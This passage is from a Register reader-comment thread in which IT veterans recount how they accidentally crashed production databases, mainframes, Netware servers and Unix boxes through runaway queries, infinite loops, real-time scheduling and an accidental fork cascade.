
    I was writing a bit of Fortran / SQL code to improve a month end report and was looking at optimisation. Realised I could index the database tables and tried it out (no change control). Pressed return on the generate index in the SQL database (I had admin) before realising I was on production and the table I hit had millions of rows. It promptly locked out the database - freezing the whole sites terminals. The phone rang instantly as finance couldn't run anything.

    DBA comes into the office, realising I was the last session on the server. Was nearly fired for that. Still took half a day to recover the database.

  21. Mark Honman

    DU,6,1

    Err, my greatest hit in this department was crashing an HP1000 by reading the printer.

    To my astonishment a line of garbage was printed on the terminal as the system's last gasp.

  22. bronskimac

    Brilliant student let loose with SQL

    I had a student working for our small web design business. Despite a strict instruction to keep SQL queries simple, so I could understand them, he created a monster that spawned a gigantic and ever growing temporary table from a surprisingly small dataset. It took me far longer than it should have to figure out why our server kept falling over.

  23. tweell
    Facepalm

    Infinite loops take down everything, even Netware 3.11

    Back 30 years, I worked for Acme as a lab tech. The site had a Netware 3.11 server and Pegasus email, which somehow fell to me to take care of. Usually this was not a problem, as Netware 3.11 was practically unborkable. Then we got a shiny new engineer...

    The SNE was unhappy that Pegasus only periodically refreshed, he wanted to see every email as it hit his very empty in-box. So he wrote a little program in DOS Basic 'that would check faster'. I got called when the server stopped printing and sharing files, and noted the CPU was at 100%. The SNE came up at that point and complained that his PC had locked up. Aha! Rebooted his machine, extracted a confession and a promise to never do that sort of thing again.

  24. kaseki

    Once upon a time ...

    Predating the System/370 was the Remington-Rand 1103A (late '50s). Its operator console had a CRT display showing memory addressing as a 2D spot array. The operator could tell at a glance that an endless loop was in progress and kill the job.

    1. Anonymous Coward
      Anonymous Coward

      Re: Once upon a time ...

      The old AS/400s had a "gee-wiz-ometer", a bargraph of green LEDs on the front panel that corresponded to CPU load.

      I was once responsible for the care and feeding of one of those machines, and quickly learned what patterns were normal. All green during a quiet part of the day = check for something eating all the CPU time. No green during a normally busy part of the day = check to see if the network was down.

      Usually my phone would ring if there were problems, but I learned early on that things go better if I found out about a problem on my own instead of being told by a pissed off user.

      1. C R Mudgeon

        Re: Once upon a time ...

        > gee-wiz-ometer

        The Honeywell 66/60 mainframe at my university had what we called a "speedometer", showing instructions executed per second. The thing is, it was an analogue (I presume) gauge with a physical moving needle.

        It occurs to me now to wonder how on earth the thing was implemented. Did they build a speed-to-voltage(?) converter circuit just to drive that speedometer? Or was there some analogue signal within the (refrigerator-sized) CPU that was needed for more important reasons, but happened to be a good enough proxy for CPU speed to make the gauge worth adding?

        1. swm Silver badge

          Re: Once upon a time ...

          Yes, on a 635 the speedometer would pin if you executed a "640" illegal instruction which froze the machine.

  25. VeganVegan

    Infinite loop

    The marvel is that the infinite loop is at the root of modern GUIs: run forever, waiting for user input.

    The biggest mistake became the biggest breakthrough.

    1. Ken Hagan Gold badge

      Re: Infinite loop

      'Twas ever thus. A CPU is a system for dispatching interrupts. Usually one of those interrupts exists only to pick up some non-essential work from a "job list" and that keeps the CPU amused until something important happens. In more advanced systems, the non-essential work is itself the maintenance of a list of even less important work submitted by ordinary users.

  26. I Am Spartacus

    How to crash a vax with TDB

    Back in the days DEV had their own relational database, imaginatively called Rdb. I was a trainer in SQL and Rdb for a short period. Towards the end of one day we create a test database, with a few test tables with date times in them. One of the students decided that a useful thing to know was the maximum time between entries in this table, ie how long did they go between receiving messages. So he wrote a cross-join over the table in a very crude way.

    Pleased as punch that it ran on the table with a few 100 rows, he showed me his code. I strongly advised him not to run it on production, and that we would go over the code the next morning as a worked example.

    Of course, he ran it on production, where the table was not a few 100 rows, it was 10 millions of rows. And of course he brought down the production share trading Vax. Fortunately for me, everyone else in the class had heard me telling him not to run it. Saving my bacon, but not his. We were man down after morning coffee!

  27. sw guy

    RT were a new process in Unix V.4

    RT as Real Time, a new class of scheduling

    You said new ? Hence I had to test that.

    This allowed the whole team to discover that looping on decrementing an unsigned 32b integer from its maximum value to zero can take time (more then than now).

    And of course, no way to kill process, as there was only one (single-core) CPU…

    1. Anonymous Coward
      Anonymous Coward

      Re: RT were a new process in Unix V.4

      I did something similar on an ICL box running SVR4 - I set the Ingres database to be a real-time process to see what would happen.

      I've since discovered that the phenomenon is called "priority inversion" :-)

      Fortunately, those ICL boxes had a watchdog timer. So after a minute of being locked solid it rebooted itself and no one was any the wiser as it was after hours!

  28. Eclectic Man Silver badge
    Facepalm

    Binary files

    In C, you can open a file to read or write with the instruction fopen( filename , "r" ); or fopen( filename , "w" ); . But you can also open them as binary files, and read the bytes, open using fopen( filename , "rb" ); or fopen( filename , "wb" ); Binary files are read from and written to using "fread and fwrite with arguments (buffer, sizeof(buffer) , 1 , file_pointer). Now, reading as a binary file means you cannot use while( (c = getc( file pointer)) != EOF ) to stop at the end of the file. So unless you check for the end of the file using something like fseek( file_pointer , 0L, SEEK_END); , you can 'read' an entire disc by mistake, or, indeed write to it....

    The clue is that your program never finishes reading (or writing) your file.

    Not that I've ever been so stupid.*

    *(Well, not on a -work- machine.)

  29. MOH

    Guilty

    Did something fairly similar on some unix-y system in college.

    Had something involving a main process forking a child process to do something, and another child to do something else. Accidentally commented out the pid check after the fork to only do the second fork if I was the parent, and ended up with an endless cascade of children forking children until the system ground to a halt.

  30. Xink5692

    Early days of "open source"

    IBM used to send the OS with all its source code which had to be assembled and then installed. This allowed a variety of code modifications to be made by the local site. User groups would publish mods that could be made to "Improve" the system. While attempting to implement job accounting with a "low impact" mod that used the S/360 Channel Programming to bypass the majority of the OS I/O scheduling, 'someone' managed to make the offending disk drive unavailable. Unfortunately, it was the host drive for the OS. It took several re-boots of the massive machine to obliterate and correct the situation. And that's why we worked weekends. Never could convince my wife of that.

  31. Lopan

    It wasn't running a non ibm os was it? Like MVT/VSE?

    Used to be a operator, then a system programmer. The non IBM mainframe os's were really touchy. All that stolen code.

    The wonderful days of cards. long cards or short cards?

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Biting the hand that feeds IT © 1998–2021